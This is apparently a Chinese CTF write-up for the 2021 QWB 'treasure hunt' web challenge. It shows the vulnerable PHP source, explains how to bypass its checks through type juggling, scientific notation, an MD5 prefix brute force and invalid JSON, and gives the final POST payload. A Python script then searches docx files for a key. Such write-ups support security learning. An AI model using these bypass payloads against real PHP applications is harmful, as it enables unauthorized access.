侧边栏

2021强网杯-寻宝

PS:看到WP后血压拉满

part 1

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


function filter($string){
        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
        $filter_phrase= '/'.implode('|',$filter_word).'/';
        return preg_replace($filter_phrase,'',$string);
    }


if($ppp){
    unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';

extract($_POST);

$num1 = filter($ppp['number1']);        
$num2 = filter($ppp['number2']);        
$num3 = filter($ppp['number3']);        
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
var_dump($ppp);
echo "<br>";
var_dump($_POST);
if(isset($num1) && is_numeric($num1)){
    die("非数字");
}

else{
  
    if($num1 > 1024){
    echo "第一层";
        if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
            echo "第二层";
            if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
                echo "第三层";
                if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
                    echo "第四层";
                    if(!isset($num5)||(strlen($num5)==0)) die("no");
                    $b=json_decode(@$num5);
                        if($y = $b === NULL){
                                if($y === true){
                                    echo "第五层";
                                    include 'KeY1lhv.php';
                                    echo $KEY1;
                                }
                        }else{
                            die("no");
                        }
                }else{
                    die("no");
                }
            }else{
                die("no");
            }
        }else{
            die("no");
        }
    }else{
        die("no111");
    }
}

?>

传参方式

有个extract($_POST);它把数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

由一段代码引发的惨案,md5绕过,foreach,php伪协议

最后是这样的格式,它自动把引号加上的

ppp[number1]=xxx&ppp[number2]=xxx&ppp[number3]=xxx&ppp[number4]=xxx&ppp[number5]=xxx

第一层

弱类型,1234a

第二层

科学计数法,9e9

echo intval(1e10);    // 1410065408
echo intval('1e10');  // 1

第三层

脚本直接跑

import hashlib


def func(md5_val):
    for x in range(50000000,100000000):
        md5_value=hashlib.md5(str(x)).hexdigest()
        if md5_value[:7]==md5_val:
            return str(x)


print func(raw_input('md5_val:'))


raw_input('ok')

61823470

第四层

科学计数法,0e99999

第五层

json_decode()

接受一个 JSON 编码的字符串并且把它转换为 PHP 变量

通过恰当的 PHP 类型返回在 json 中编码的数据。值true, falsenull 会相应地返回 true, falsenull。 如果 json 无法被解码, 或者编码数据深度超过了递归限制的话,将会返回null

1a

payload

ppp[number1]=1234a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e99999&ppp[number5]=1a

part 2

没找出来,可惜,真就直接找key就行了

import os
import docx
import time
import re

os.chdir('C:/Users/Lenovo/Desktop/qwb/five_month')
dires = os.listdir()
for dirss in dires:
    os.chdir(f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}')
    dirs = os.listdir()
    #time.sleep(1)
    for di in dirs:
        os.chdir(f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}/{di}')
        ds = os.listdir()
        for d in ds:
            path = (f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}/{di}' + f'/{d}')
            # 完美的路径
            if re.search('(1|2|3|4|5).png', path) == None :
                #print(path)跳过png
                file = docx.Document(path)   
                for para in file.paragraphs :
                    x=para.text
                    if re.search('KEY2',x) != None :
                        print(path)

有五张图片,当时被这个带偏了,去看misc了

现在想想可能是用来干扰脚本的

得到两个KEY,提交即可

posted @ 2021-06-15 19:37  探针一号  阅读(304)  评论(0编辑  收藏  举报